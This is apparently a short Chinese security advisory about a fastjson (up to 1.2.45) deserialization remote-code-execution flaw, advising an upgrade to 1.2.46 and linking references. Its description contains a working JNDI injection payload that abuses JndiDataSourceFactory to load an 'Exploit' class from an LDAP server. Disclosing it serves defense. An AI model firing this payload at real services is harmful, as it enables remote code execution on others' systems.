KnowSafe 安全预警：fastjson <=1.2.45 反序列化任意代码执行漏洞

KnowSafe 安全预警：KnowSafe 安全团队监测到编号 AVD-2021-262728 的安全漏洞（危害等级：严重）已公开披露，相关用户应尽快排查并完成修复。

漏洞介绍

黑名单绕过1.2.44的修复继续反序列化RCE：{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}

影响范围

应用：alibaba fastjson（影响面 Up to (excluding) 1.2.46）

解决方案

建议您更新当前系统或软件至最新版，完成漏洞的修复。

参考信息

https://github.com/alibaba/fastjson/releases/tag/1.2.46

https://zeo.cool/2020/07/04/%E7%BA%A2%E9%98%9F%E6%AD%A6%E5%99%A8%E5%BA%93!fastjson%E5%B0%8F%E4%BA%8E1.2.68%E5%85%A8%E6%BC%8F%E6%B4%9ERCE%E5%88%A9%E7%94%A8exp/

KnowSafe 将持续跟踪该漏洞的利用情况与修复进展，如需漏洞管理与应急响应支持，欢迎联系 KnowSafe 安全团队。